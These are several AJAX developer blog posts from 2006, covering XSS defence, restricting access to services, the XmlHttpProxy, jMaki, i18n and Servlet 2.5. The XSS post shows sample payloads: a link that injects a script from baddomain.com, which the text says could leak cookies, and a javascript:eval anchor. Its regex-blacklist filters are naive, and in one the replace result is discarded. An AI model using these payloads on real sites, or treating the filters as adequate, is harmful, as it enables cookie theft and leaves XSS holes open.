A mouseover of the link will cause a script in a badscript.js to be loaded. This script could also pass along cookies or any other information it wanted to as parameters of the "s.src" URL. Unlike the first example where the user would need to click on a bad link this type of attack requires a simple mouseover to load the badscript.js.

So the question now comes to mind: 'How do you protect your web page from being being exploited?'

Along with the parameters you should escape form input. If you plan to allow users to provide their own markup consider the next solution titled Remove eval(), javascript, and script from User Provided Markup.

The following code shows how to escape markup on the client.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    description = description .replace(/</g, "&lt;").replace(/>/g, "&gt;");
    display.innerHTML = description;
  } 
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The code description = description.replace(//g, ">"); filters the user input and prevents unwanted scripts from being executed.

Now that we have looked at how to prevent most attacks the next section focuses on cases where you want to allow users to provide markup that does not contain malicious code.

Remove eval(), javascript:, and script from User Provided Markup

There may be cases where you want to allow a user to add markup such as links or HTML content that is displayed for other users to see. Consider a blog that allows for HTML markup, user provided URLs, HTML comments, or any other markup. The solution would be to filter all markup before it is displayed in a page or before it is sent to a server or service. The following example shows how to allow for some HTML markup while preventing malicious code.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    description.replace(/[\"\'][\s]*javascript:(.*)[\"\']/gi, "\"\"");
    description = description.replace(/script(.*)/gi, "");    
    description = description.replace(/eval\((.*)\)/gi, "");
    display.innerHTML = description;
  } 
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The example above removes all eval(), javascript and script references that may be entered in the description field. The replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. You may consider refining the regular expressions to only look in tag attributes for example and to remove full scripts. There are other considerations you should keep in mind when filtering client code such as line breaks, charsets, case sensitivity which are commonly exploited in attacks. As some browsers will allow you to specify JavaScript calls from CSS styles you should also consider searching user provided CSS styles as well.

Filter User Input on the Server

Most of the problems related to cross site scripting are because of poorly designed clients. Servers can also unwillingly become participants in cross domain scripting attacks if they redisplay unfiltered user input. Consider the following example where a hacker manually makes a HTTP POST request to set the homepage URL with the following.

<a href="javascipt:eval('alert(\'bad\')');">Click Me</a>

The URL would end up being stored as is on the server as is and expose any user that clicks on the URL to the JavaScript. The example above seems innocent enough but consider what would happen if in place of an alert('bad') the "javascript" contained malicious code. To prevent such attacks you should filter user input on the server. The following Java example shows how to use regular expression replacement to filter user input.

String description = request.getParameter("description");
description = description.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
description = description.replaceAll("eval\\((.*)\\)", "");
description = description.replaceAll("[\\\"\\\'][\\s]*((?i)javascript):(.*)[\\\"\\\']", "\"\"");
description = description.replaceAll("((?i)script)", "");

The code above removes eval() calls, javascript: calls, and script references the replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. The code above may be applied using a servlet, servlet filter, or JSF component on all input parameters or on a per parameter basis depending on what how much markup you would like to allow users to provide. You may want refine the regular expressions that filter the content to handle more or consider a Java library built that specializes in removing malicious code.

Use Caution with Dynamic Script Injection

Dynamic script injection to retrieve JSON data (also known as JSONP) can be powerful and useful as it decouples your client from the server of origin. There is still a bit of debate over using JSONP as some consider it as a hack or security hole in JavaScript because when you dynamically include a reference to a 3rd party script you are giving that script full access to everything in your page. That script could go on to inject other scripts or do pretty much whatever it wanted.

If you choose to use JSONP make sure you trust the site for which you are interacting with. There is nothing stopping a JSONP provider from including unwanted script with JSONP data. One alternative would be to provide a proxy service which you can control the output, restrict access to, and can cache as needed.

Avoid XSS Phishing Attacks

This next recommendation focuses on protecting yourself as a user from a site that is vulnerable to cross site scripting attacks.

Phishing attacks, or attacks where what appears to be a valid URL links to a fraudulent web page who's purpose is to collect a users data, are nothing new to the web world. A related attack involves cross site scripting attacks where a URL to a legitimate site that has a cross site scripting vulnerability contains a script reference. Such a link may appear in an email message, blog posting/comment, or other user generated content that contains a URL. Clicking a link to a site containing a cross site scripting vulnerability would cause a 3rd party script to be included along with your request and could expose your password, user id, or any other data. Consider the following example:

<a href="http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E">See foobar</a>

A quick look at the URL shows it references the site http://foobar.com/index.html. An unsuspecting user may not see the script included as a parameter later in the URL.

It is also wise to always look at carefully at URLs and the URL parameters that are provided with them. URLs will always appear in the status bar of your browser as and you should always look for external script reference. Another solution would be to manually type in links into the URL bar of your browser if a link is suspect.

Be aware of sites known to have vulnerabilities and be very careful with any personal data you provide those sites.

While JavaScript based interfaces can be very flexible you need to be very careful with all user provided input whether it be as parameters or form data. Always make sure to escape or filter input on the both the client and server. As a user you should be cautious not to become a victim of a vulnerable site. It's better to be safe than in the news!

What other things do you do to prevent XSS attacks?



Restricting Access to your AJAX Services

Posted by gmurray71 on August 02, 2006 at 11:32 AM | Permalink | Comments (6)

Services like the XmlHttpProxy for Java are designed to return JavaScript that is evaluated on the client. Unfortunately, if you are not careful with the design of your services, JSONP techniques could be used to hijack your services. While I'm not saying JSONP is bad, I do highly recommend you carefully track, limit, or restrict access to your application's services to JavaScript clients. Here are some strategies for doing this.

  1. Token Based Restriction - Limit a client access to server-side resources by using tokens. Resources may include URLs, databases, web services, or domain objects which that service may access to complete a request. Tokens may be configured in a file or by using your server's built-in security features.
  2. Unique Hash / Session Based Restriction - When generating a page that accesses the target service you can create a unique hash or key for each client and restrict access based on the existence of the hash. The session management facilities of the servlet API may easily used to track whether or not a conversation has been established.
  3. URL Based Restriction - Based on the URL in which the JavaScript is executed you can restrict access to a service.
  4. Application Key Based Restriction - An application key is a flexible means of providing access to your service to a set of JavaScript clients.
  5. Content-Type / Authentication Based Restriction - You can restrict JavaScript clients outside of the domain from directly accessing your service by using XML possibly in combination with basic or digest authentication.

Let's look at restricting service access in more detail and how it is handled by the XmlHttpProxy for Java.

  1. Token Based Restriction

    The XmlHttpProxy and the XmlHttpProxyServlet which provides web applications access to the proxy were updated to restrict access based on tokens. A token or key is mapped to a set of parameters which include the service URLs, service API keys, XSL style sheets, and default values used by the XmlHttpProxy. Following is an example of the JSON based configuration file for the XmlHttpProxyServlet .

    {"xhp": {
        "version": "1.1",
        "services": [
            {"id": "yahoogeocoder",
             "url":"http://api.local.yahoo.com/MapsService/V1/geocode",
             "apiKey" : "appid=jmaki-key",
             "xslStyleSheet": "yahoo-geocoder.xsl",
             "defaultURLParams": "location=santa+clara,+ca"
            },
            {"id": "flickrtagsearch",
             "url":"http://www.flickr.com/services/rest/?method=flickr.photos.search",
             "apiKey" : "api_key=06d3805b73897217be9e0b532c85b15e",
             "xslStyleSheet": "flickr-search.xsl",
             "defaultURLParams": "tags=theKt"
            },
            {"id": "yahoosearch",
             "url":"http://api.search.yahoo.com/WebSearchService/V1/webSearch",
             "apiKey" : "appid=jmaki-key",
             "defaultURLParams": "query=jMaki"
            }
        ]
      }
    }
    

    Using token based restriction to resources allows you to consolidate what may be accessed and provide defaults. In the example above id is the key which is the token passed by a client to the XmlHttpProxyServlet along with some other parameters such as the location which is needed by the Yahoo Geocoder.

    The JavaScript client using token based access may appear as the one in the example below.

    var location = encodeURIComponent("location=sunnyvale ca");
    dojo.io.bind({ 
        url: "xhp?key=yahoogeocoder&urlparams=" + location,
        mimetype: "text/json",
        load : function(type, data) {                                
                alert("latitude=" + data.coordinates[0].latitude);
    	   }
    });
    

    Notice that the extra parameters (location in the case above) are encoded using the JavaScript encodeURIComponent function to ensure they are properly sent to the XmlHttpProxyServlet.

    Java EE provides role based security which you can use to restrict the server side resources such as EJB components, JDBC connections, or web services that your service may expose. For more details see the Java EE 5.0 Tutorial.

    Allowing JavaScript to directly configure parameters such as the URL accessed by the proxy or a query to a database could open yourself up to unauthorized access. Token based restrictions provides easy access to your service to JavaScript clients and it is the most flexible of the approaches for restricting access to your services. Token based restriction will not prevent users from outside your application domain from using your services but as in the case with the XmlHttpProxy it will prevent users or other applications in other domains from using the proxy to access services you did not intend for it to provide access to.

  2. Application Key based Restriction

    Yahoo commonly uses application level keys to give access to their vast set of services. This approach is pretty flexible in that it gives flexible means to access services. This level of key provides more coarse grained access which is more developer friendly. Below is an example of a call to the Yahoo Geocoder.

    http://api.search.yahoo.com/WebSearchService/V1/webSearch?appid=YahooDemo&query=jmaki&results=1

    The URL parameter appid as "YahooDemo" is the application key in the example above. You can copy and paste the URL right into your browser or use curl to readily see the results.

    http://api.search.yahoo.com/WebSearchService/V1/webSearch?appid=YahooDemo&query=jmaki&results=1&output=json&callback=showResults

    Setting the output to "json" will cause the service to return JSON based content. More importantly the callback parameter is set to the name of the method you want called. In essence if you call this from your JavaScript code you will need a global function showResults that takes a single argument. The results from Yahoo call may appear as:

    showResults({"ResultSet": {"type":"web", "totalResultsAvailable":318000, "totalResultsReturned":1, "firstResultPosition":1, "moreSearch":"...", "Result":[{"Title":"ajax: Project jMaki", "Summary":"... Project jMaki. jMaki is all about enabling Java developers to use JavaScript in their Java based applications as ... or a JSF component. jMaki uses the best parts of Java and ...", "Url":"https:\/\/ajax.dev.java.net\/","ClickUrl":"...", "DisplayUrl":"https:\/\/ajax.dev.java.net\/", "ModificationDate":1154242800, "MimeType":"text\/html", "Cache":{"Url":"...", "Size":"15905"}}]}})

    The sample code below will do a search and display an alert dialog with the summary of the first result.

    <script type="text/javascript">
        function showResults(searchResults) {
            alert(searchResults.ResultSet.Result[0].Summary);
        }
    </script>
    
    <script src="http://api.search.yahoo.com/WebSearchService/V1/webSearch?appid=YahooDemo&query=jmaki&results=1&output=json&callback=showResults"
        type="text/javascript"></script>
    

    Using application keys allows a developer friendly means providing access to application services as the keys can be human readable used throughout a web application. It is not as strict and more based on the "honor" system as a key could be used in more than one application. The service provider can still track the usage and limit access if the application key is misused.

  3. URL based Restriction

    If you have included Google Maps in your application you will notice that it requires an API key as a parameter of the script URL. The API key is matched to the URL directory to which the map will be accessed.

    <script src="http://maps.google.com/maps?file=api&v=2&key=abcd123"
            type="text/javascript">
    </script>
    

    In the example above the key "abcd123" would be much longer key used to a domain name and directory that has permission to use Google Maps. The key "abcd123" for example would only unlock access to a web application accessed at the URL:

    http://javaserver.org/jmaki/
    

    Clients that attempt to access the Google Maps service from a URL other than http://javaserver.org/jmaki/ will be presented with an error dialog such as the one that follows.

    You can used the same technique to provide fine grained access to your services and track who uses your services. You would be responsible for generating, distributing, and managing the the URL keys based and checking them with each access to your service using headers passed in with the request such as the referrer header.

    Restricting access based on URLs allows you to restrict who can access your service, limit the number of accesses, and track usage. This approach can make it more difficult for developers using the service as it requires the developer to get new keys on a per URL basis.

  4. Hash / Session Based Restriction

    One other issue I wanted to avoid with the XmlHttpProxy was to prevent cross domain access to the XmlHttpProxyServlet . It would not make sense to expose the proxy service outside the domain as it would be essentially providing a free service that could be misused. I initially considered creating a unique hash for the page which accessed the service and pass it as a header/cookie to restrict access to service. I realized there was a simpler way to do this by using the built in functionalities of the servlet API using the HttpSession API. The Java servlet code is as follows:

      HttpSession session = request.getSession(false);
      if (session == null) {
          response.setStatus(HttpServletResponse.SC_FORBIDDEN);
          return; 
      }
    

    Placing the code above will in essence stop direct access to the XmlHttpProxyServlet from clients in other domains.

    How it works

    A servlet/Java EE web container by default creates a HttpSession when a user navigates to any page of your application including the page containing the service. The service will look for the existence of the HttpSession, find it, and then provide access to the service. Clients from another domain attempting to directly access the service, using techniques such as JSONP techniques, will not have established an HttpSession and will be returned an HTTP 403 "Forbidden" error.

    One limitation of this technique is that it does not 100% guarantee that clients from other domains designed to use other means of initiating an HttpSession in order to access your service (which I will not detail here) however, general misused can be avoided. Another limitation of this technique is that HttpSession tracking will need to be enabled and the session must be still alive for this technique to work.

  5. Content-Type / Authentication Based Restriction

    You can design your services to provide different options in a similar way. It is recommended to use the method Yahoo services use by providing an optional output parameter of the URL as seen below.

    http://api.search.yahoo.com/WebSearchService/V1/webSearch?appid=YahooDemo&query=jmaki&results=1&output=json&callback=showResults

    In the example above the returned data is in JSON format. Not specifying an output parameter in the URL will result XML formatted output. The Yahoo Geocoder does not provide an option for JSON output. Originally, the Yahoo Geocoder was accessible to JSONP but later the return content type was restricted to XML after the service was severely misused.

    You can restrict access to your services to prevent direct JSONP access in the same way the Yahoo Geocoder by only providing XML formated output. This technique forces JavaScript clients to use a proxy like the XmlHttpProxy to access your service.

    You may choose to use HTTP basic or HTTP digest authentication. The servlet API provides built in support for securing your services or other web resources. The servlet API provides built in support for securing your services or other web resources. The APIs you would use to secure your services are the same APIs available with the Java EE platform. For more details on setting up HTTP basic and digest authentication see the Java EE 5.0 Tutorial or some security examples provided by Jason Hunter on Servlets.com.

    Limiting the content type and/or requiring authentication is a usefull strategy if you would like to restrict access to your services small set users or domains. Using this authenication should be considered if you are allowing users to update data provided by your user to provide some level of accountability and update tracking. Limiting the content type and/or requiring authentication are the most strict form restricting access to your services. Consider your clients and motivations before using these techniques.

We have reviewed many ways to control access to a service to AJAX requests. Each technique discussed in this blog has its' benefits and pain points. The techniques described in this blog are not mutually exclusive, you may choose to restrict access using a combination of technqiques based on your user cases and client needs.

Are you using a techniques to restrict access to your services not discussed here? If so please share.




The XmlHttpProxy Client for Java

Posted by gmurray71 on July 17, 2006 at 12:49 PM | Permalink | Comments (3)

One drawback of working with AJAX is that an AJAX-based client cannot make calls to URLs outside of its domain, which means that it cannot access services located on another server. A technique such as JSONP can help in this regard, but it has some limitations.  One limitation is that including third-party JavaScript inside script elements exposes your application to potential security risks because you are allowing external parties to interact with your client.

To overcome these problems, you need a generic proxy that can communicate with external services on your client's behalf. The proxy passes a call from your client application to the service, receives the content in response from the service, and returns the content to your client. You can then use this content in your AJAX-based application.

Using a generic proxy has other benefits. It can be a buffer between third-party code and your application. It can also perform data conversions to restrict the format of data that you allow to come from a third party.

Services that a generic proxy can work with include RESTful web services such as the Flickr Image Search, an RSS feed, or the Yahoo Geocoder Service. The proxy can return content from these services "as is" to the client, or it can apply an XSLT transformation to it so that the content is converted to a different content type, such as JavaScript Object Notation (JSON).

The XmlHttpProxy Client

The XmlHttpProxy(XHP) is provided as part of jMaki. When creating the XmlHttpProxy we created the API in such a way that it will work well with Project jMaki but also be useful as a generic Java based proxy which may be used with servlets, JSF components, or from the command line. The XmlHttpProxy client includes the following:

  • The XmlHttpClient which fetches the content using an HTTP client applies XSLT transformations (if necessary)
  • An HTTP client for accessing services
  • XmlHttpServlet, which is an provides Java Enterprise Edition clients an interface to the XmlHttpProxy client
The following sequence diagram shows how a JavaScript client (such as a jMaki widget) may use an AJAX request (using the XmlHttpRequest) to access the Yahoo Geocoder service through the XmlHttpProxy client. The Yahoo Geocoder service takes an address and returns its latitude and longitude based on a address or location.

XMLHttpProxy Request Sequence Diagram

As shown in the sequence diagram above, the XMLHttpProxyServlet instance handles the XMLHttpRequest and passes it on to the XMLHttpProxy client, which calls the service. The service then gets the XML data and returns it to the XMLHttpProxy client, which performs an XSLT transformation on the data to convert it to JSON. It then passes the JSON content to the XMLHttpProxyServlet instance, which passes it back to the client.

A request to the Yahoo Geocoder Service for the location "Sunnyvale" using the following URL:

http://api.local.yahoo.com/MapsService/V1/geocode?appid=YahooDemo&location=Sunnyvale

You may test this by entering the URL into your browser or running curl at any given time. The Yahoo GeoCoder service requires an Yahoo API key provided using URL parameter appid. For your own applications please use your own application key. The address or location is provided using the URL parameter location. See The Yahoo Geocoding API documentation for more details.

A request to the URL http://api.local.yahoo.com/MapsService/V1/geocode?appid=YahooDemo&location=Sunnyvale will return an XML document which appears as:

<?xml version="1.0"?>
<ResultSet xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="urn:yahoo:maps" xsi:schemaLocation="urn:yahoo:maps
http://api.local.yahoo.com/MapsService/V1/GeocodeResponse.xsd">
<Result precision="city">
<Latitude>37.369019</Latitude>
<Longitude>-122.035019</Longitude><Address></Address>
<City>SUNNYVALE</City><State>CA</State><Zip></Zip>
<Country>US</Country>
</Result>
<Result precision="city">
<Latitude>37.050758</Latitude>
<Longitude>-94.495216</Longitude><Address></Address>
<City>SUNNYVALE</City><State>MO</State><Zip></Zip>
<Country>US</Country>
</Result>
<Result precision="city">
<Latitude>35.737659</Latitude>
<Longitude>-82.134827</Longitude><Address></Address>
<City>SUNNYVALE</City><State>NC</State><Zip></Zip>
<Country>US</Country>
</Result>
<Result precision="city">
<Latitude>32.796391</Latitude>
<Longitude>-96.563461</Longitude><Address></Address>
<City>SUNNYVALE</City><State>TX</State><Zip></Zip>
<Country>US</Country>
</Result>
</ResultSet>
<!--
ws02.search.scd.yahoo.com uncompressed/
chunked Fri Jul 14 11:18:51 PDT 2006
 -->

While we could parse thorough this in JavaScript code wouldn't it be better if we could have a JSON object? You can specify an XSL style sheet to provide a XML to JSON transformation. This may be done by providing a fully qualified URL to the XmlHttpProxyServlet using the URL parameter xslURL. In the case of the Yahoo Geocoder example uses the following style sheet on ajax.dev.java.net. The resulting document appears as follows:

{"coordinates": [

{
"address" : "",
"city" : "SUNNYVALE",
"state" : "CA",
"zip" : "",
"latitude" : "37.369019",
"longitude" : "-122.035019"
}
,
{
"address" : "",
"city" : "SUNNYVALE",
"state" : "MO",
"zip" : "",
"latitude" : "37.050758",
"longitude" : "-94.495216"
}
,
{
"address" : "",
"city" : "SUNNYVALE",
"state" : "NC",
"zip" : "",
"latitude" : "35.737659",
"longitude" : "-82.134827"
}
,
{
"address" : "",
"city" : "SUNNYVALE",
"state" : "TX",
"zip" : "",
"latitude" : "32.796391",
"longitude" : "-96.563461"
}

]}

Now that we have the data in JSON it is very easy to access it from our JavaScript code. From the Dojo Toolkit for example we would use the following to access the XmlHttpProxy:

var loc = "Sunnyvale"; // this could be looked up from a form
var yahooService =
encodeURIComponent(
"http://api.local.yahoo.com/MapsService/V1/geocode" +
"?appid=YahooDemo&location=" + loc);
var xslURL =
encodeURIComponent(
"http://localhost:8080/jmaki/resources/xsl/" +
"yahoo-geocoder.xsl");
dojo.io.bind({
url: "xhp?url=" + yahooService + "&xslURL=" + xslURL,
mimetype: "text/json",
load : function(type, data) {
alert("latitude=" + data.coordinates[0].latitude);
}
});"

In the example above an instance of the XmlHttpProxyServlet is mapped to the URI "/xhp". The Dojo client code uses dojo.io.bind to make an asynchronous request (AJAX) to the URL "xhp" with the location "Sunnyvale" and XSL stylesheet http://localhost:8080/jmaki/resources/xsl/ which is forwarded to the XmlHttpProxyServlet. The XmlHttpProxyServlet uses an instance of the XmlHttpProxy client to make an HTTP GET request to the Yahoo Geocoder service. The Yahoo Geocoder services returns an XML document containg the coordiantes which is transformed to JSON and returned to the client.

With the Yahoo Geocoder there may be more than one set coordinates for any given location, as is the case with a request for the locaton "Sunnyvale." The XSL document will always generate JSON object always containg an array of coordinates for this very reason. The Dojo example above displays an alert dialog with the latitude from the first set of coordinates.

Next Steps for the XmlHttpProxy Client

The XmlHttpProxy now supports various services from Flickr, Yahoo, and RSS feeds that may be acessed using a standard HTTP or HTTPS get request. In the future we plan to improve the XmlHttpProxy to support HTTP Basic authentication and more complex interactions such as HTTP POSTs to the Flickr, Del.icio.us, and Flickr REST interfaces.

Resources

A more extensive writeup including more examples of the XmlHttpProxy client maybe found in the jMaki documentation.

The Java source for the XmlHttpProxy client is part of Project jMaki and may be accessed on java.net here.

The XSL Style Sheets for the services currently supported by the XmlHttpProxy client may be found at ajax.dev.java.net.

Download the jMaki sample application and view more documentation at jMaki Home Page.

Download GlassFish for which these examples are written to.

Now that you've seen it please go out and use the XmlHttpProxy and let us know what you think.

What services would you like supported with the XmlHttpProxy client?



Sun Joins Open AJAX Alliance and Dojo Foundation

Posted by gmurray71 on June 16, 2006 at 11:24 AM | Permalink | Comments (0)

If you have not seen the news today Sun has joined the open Open AJAX Alliance and the Dojo Foundation. This is great news as it shows that Sun is serious about working with other vendors on AJAX interoperability and working with the Dojo community to make sure it continues to be the best solution for AJAX development with Java.

I'm I am very glad to formalize our involvement with our Dojo community. We have been working with Dojo for some time with our Java Pet Store Demo which is based on Dojo, our AJAX Components, and Project jMaki all of which use Dojo. Going forward I'm looking forward to contributing to the momentum of Dojo and making it even better.

With the Open AJAX Alliance our hope is to work with the community at large to insure interoperability across JavaScript libraries, AJAX solutions, and browsers. This is great for the Java and AJAX communities.

I will be participating in both communities representing Sun and my hope is continue to drive solutions that provide the Java developer the best set of options for developing AJAX based applications.

Where would you like to see the happen Dojo and Open AJAX communities?



jMaki Google AJAX Search Component

Posted by gmurray71 on June 06, 2006 at 05:50 PM | Permalink | Comments (7)

The Google AJAX Search API allows you to include a dynamic Google search in to your web pages. jMaki can be used to provide Java developers a Java interface to the search API.

Here is what it takes to implement the Google AJAX Search API as a jMaki widget:

  1. Get a copy of the Glassfish Application Server. For more information about setting up your environment see the jMaki Developer documentation.
  2. Create a directory called gsearch. This directory will contain the HTML template file (component.htm) and the JavaScript bootstrap file (component.js)
  3. Create the component.htm HTML template file and place it in the "searchcomponent" directory. The contents of this file needs to be a single line:
    <div id="${uuid}"/>
  4. Create the component.js JavaScript bootstrap file and copy it into the "searchcomponent" directory. The contents of this file are similar to the contents provide in the Google AJAX Search API page. This file is called when the page is loaded and each widget is passed a JavaScript object "widget" which contains the parameters needed by the component instance and correspond to the parameters used by the component.htm template file. I used the following:
          // Create a search control
          var searchControl = new GSearchControl();
    
          // Add in a full set of searchers
          var localSearch = new GlocalSearch();
          searchControl.addSearcher(localSearch);
          searchControl.addSearcher(new GwebSearch());
          searchControl.addSearcher(new GvideoSearch());
          searchControl.addSearcher(new GblogSearch());
    
          // Set the Local Search center point
          localSearch.setCenterPoint(widget.args.centerPoint);
    
          // Tell the searcher to draw itself and tell it where to attach
          searchControl.draw(document.getElementById(widget.uuid));
    
          // Execute an inital search
          searchControl.execute("AJAX");
    
  5. Get an API key to use the example from http://code.google.com/apis/ajaxsearch/signup.html. This key has to match the directory from which you plan to use the component. I use http://localhost:8080/jmaki/google/.
  6. Add the Google Script to the WEB-INF/types.properties file containing the API key. The entry I added is as follows:
    googlesearch=http://www.google.com/uds/api?file=uds.js&v=0.1&key=YOUR_API_KEY _HERE
    

    Make sure to relace the API key with the one you got from Google.

  7. Create a JSP page that contains uses the tag. The page I used is as follows:
    <%@ taglib prefix="a" uri="http://java.sun.com/jmaki" %>
    
    <html>
    
    <head><title>Google Search Test</title></head>
    <h2>Google Search Test</h2>
    <hr>
    <a:ajax type="googlesearch" name="gsearch" args="{centerPoint: 'Santa Clara, CA'}" />
    
    </html>
    

    Note that an object literal is passed as the "args" attribute containing a property "centerPoint" with the value of "Santa Clara".

  8. Package and deploy your application. For more information about the application structure see jMaki Appications.

That is it! You now have a re-usable Google AJAX Search Widget. If you don't want to go through the steps download the jMaki Web application. The jMaki sample application contains more parameters you can set on the tag itself. If you get a chance give it a try.



Creating AJAX Enabled JSF Components

Posted by gmurray71 on May 25, 2006 at 09:08 PM | Permalink | Comments (5)

There is a class of applications and developers that Java Server Faces suites well. JSF is well suited for those that do not want to deal with the intricacies of learning CSS, JavaScript, and DHTML. Once a component is properly created it can be re-used. That said getting all the moving parts in order can take some doing.

Including AJAX Functionality in a Custom JavaServer Faces Component shows the Phase Listener approach of JSF component development. This is the approach taken with the Java BluePrints AJAX Components/ whih run in Creator and are also used in the Java Pet Store 2.0. Shale Remoting provides a framework for developing JSF components using this approach.

In this example JSF manages the renders the links to JavaScript. JavaScript renders the view on the client. A phase listener is used to manage AJAX call which update the model contained in session scoped beans. There may be some that do not favor an approach where JavaScript is doing much of the rendering of the view as there is not an exact representation of what is being displayed on the client maintained on the server. With some dynamic UIs, especially those that use existing JavaScript libraries out there, it is difficult to keep and exact representation on the client and server. When JavaScript is dynamically managing the view on the client the component developer needs to consider how the data that the component will be validated, how the component is relates to the components around it, and how chatty the client will be with the server. These issues occur because the phase listener jumps you out of the normal JSF lifecycle processing for processing AJAX requests.

There are other approaches that are being developed on top of JSF 1.2 and for the future JSF 2.0 that will allow for more granular updates to client/server representation of the view transparently using AJAX. This approach allows existing JSF components to use the standard validators and rendering logic and does not require a developer to have extensive knowledge of AJAX. This approach is being developed as part of the JSF Extensions.

Check out the tutorial and let us know aht you think.



Introducing jMaki - AJAX Widgets for the Java Developer

Posted by gmurray71 on May 17, 2006 at 05:45 PM | Permalink | Comments (0)

jMaki is all about enabling Java developers to use JavaScript in their Java based applications as either a JSP tag library or a JSF component. jMaki uses the best parts of Java and the best parts of JavaScript to deliver a rich AJAX style widgets.

jMaki promotes a program methodology that cleanly separates behavior (JavaScript), from Styles (CSS), from template HTML. jMaki put the right pieces together using Java to render the initial page. In the case of both the JSF component and the JSP tag the inputs are the same and the output should be the same. The service behind the widget may differ if there is one.

Under the covers jMaki widgets are re-usable parameterized JavaScript widgets. jMaki makes sure the proper parameters passed to individual widget code using a JavaScript bootrapper that initalizes the widgets in a page. In the case of both JSP tags and JSF the inputs (a JavaScript/CSS/Template HTML file) produce the same resulting widget. jMaki's design makes it very easy to create widgets and support upcoming JavaScript libraries. These widgets are fully configurable in a running web application.

For more on jMaki widgets see https://ajax.dev.java.net/widget-developer.html.

Geertjan's Weblog contains some useful details on JMaki. Check out Project jMaki, it is BSD and we're looking for help.



AJAX I18n with Java

Posted by gmurray71 on March 13, 2006 at 04:13 PM | Permalink | Comments (7)

Internationalization (i18n) is easy if you are using AJAX and Java. Both Java and JavaScript have i18n capabilities though it is not obvious how to use those capabilities are not from an i18n background.

I have re-worked the Realtime Validation with AJAX example to be i18n enabled. Follow these steps on the client and server to support i18n.

On the client:

  • Set the content-type in your pages to UTF-8

    UTF-8 is the recommended encoding as it supports the widest range of languages.

  • From JavaScript call encodeURIComponent() on localized form parameters.

    This is a built in JavaScript function that will make sure form variables are encoded in an HTTP friendly way. The encoding scheme used matches the charset used in the content-type of the page.

The following JavaScript snippet gathers form information to send back to the server in an AJAX request. Note the sections marked in red.

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<script type="text/javascript">
...
function validateUserId() {
    if (!target) target = document.getElementById("userid");
    var url = "validate?id=" + encodeURIComponent(target.value);    
    var target = document.getElementById("userid");
    var ajax = new AJAXInteraction(url, validationCallback);
    ajax.doGet();
}

function validateCallback(responseXML) {
   var msg = responseXML.getElementsByTagName("valid")[0].firstChild.nodeValue;
   if (msg == "false"){
       var mdiv = document.getElementById("userIdMessage");
       // set the style on the div to invalid
       mdiv.className = "bp_invalid";
       mdiv.innerHTML = "Invalid User Id";
       var submitBtn = document.getElementById("submit_btn");
       submitBtn.disabled = true;
    } else {
       var mdiv = document.getElementById("userIdMessage");
       // set the style on the div to valid
       mdiv.className = "bp_valid";
       mdiv.innerHTML = "Valid User Id";
       var submitBtn = document.getElementById("submit_btn");
       submitBtn.disabled = false;
    }  
}
</script>
...
 <input    type="text"
                size="20"  
                  id="userid"
		name="id"
                autocomplete="off"
             onkeyup="validateUserId()">

<div id="userIdMessage"></div>

On the server:

  • Call request.setCharacterEncoding("UTF-8") before getting any parameters.

    We know this is the correct encoding because we set it as the content type of the page.

  • Set the content-type on the response to "UTF-8" if it contains localized content.

    Event though the defualt encoding of XML is UTF-8 don't assume the conent will be encoded in UTF-8. Set the response content type using the servlet method response.setContentType where the content-type is followed by the encoding used for the response. In this case use "charset=UTF-8".

The following servlet interacts with an internationalized AJAX client. Once again the i18n specific portions are marked in red.

public class ValidationServlet extends HttpServlet {
    
    private ServletContext context;
    private HashMap accounts = new HashMap();
 
    public void init(ServletConfig config) throws ServletException {
        super.init(config);
        this.context = config.getServletContext();
        accounts.put("greg","account data");
        accounts.put("duke","account data");
        // add a Japanese hiragana example "ne" "ko" (cat)
        accounts.put("\u306D\u3053","account data");
    }
    
    public  void doGet(HttpServletRequest request, HttpServletResponse  response)
        throws IOException, ServletException {
        request.setCharacterEncoding("UTF-8");
        String targetId = request.getParameter("id");
	    if ((targetId != null) && !accounts.containsKey(targetId.trim())) {
            response.setContentType("text/xml;charset=UTF-8");
            response.setHeader("Cache-Control", "no-cache");
            response.getWriter().write("<valid>true</valid>");
        } else {
            response.setContentType("text/xml");
            response.setHeader("Cache-Control", "no-cache");
            response.getWriter().write("<valid>false</valid>");
        }
    }
}

That is pretty much it. This example the Japanese hiragana characters "ねこ" are a reserved user id. The image below shows the example running.

Find the code and more about this example at Realtime Validation with AJAX.



Servlets Updated

Posted by gmurray71 on February 27, 2006 at 11:55 AM | Permalink | Comments (3)

Servlets sit at bottom end of the API stack for web developers using Java technologies. If you have used JSP, JSF, Struts, Web Work, Velocity, or any of the other frameworks out there you have more than likely used the Servlet API.

What do I like about the Servlet API? As a developer I like being as close to possible to HTTP as possible and Servlets lets me do that well. The Servlet API has adapted to fit the needs of scripting languages by being the base for JSP, re-usable component models such as JSF, frameworks like Struts, and Portlets. Servlets are even good for providing the server side processing for AJAX clients.

So what big changes were made in Servlet 2.5?
  • ServletContext.getContextPath() - Ever wonder what the context root was for your web application? This API is a long need addition.
  • Annotations - Added annotations for Java persistence, web service, declaring roles, run as, and EJBs. We did not add annotations for decarling servlets, filters, and listeners in this release though this will be a topic of discussion in the next servlet release.
  • Resource Injection - Resource injection is a way of injecting references of container managed resources such as data sources, environment entries, or web services into container managed components such as servlets, filters and listeners. Support for resource injection was added for Java Enterprise Edition containers.
  • web.xml Changes- Removed the need to have a web.xml in web applications without servlets, filters or listeners. Some conveniences for declaring components in the web.xml were added.

Jason Hunter, a long time member of the Servlet EG, has detailed the changes in the article New features added to Servlet 2.5 on Java World.

Download the updated Servlet 2.5 specification from here.

If you want to try out the Servlet 2.5 features today the Glassfish container provided by Sun just released a beta containing support for the new changes.

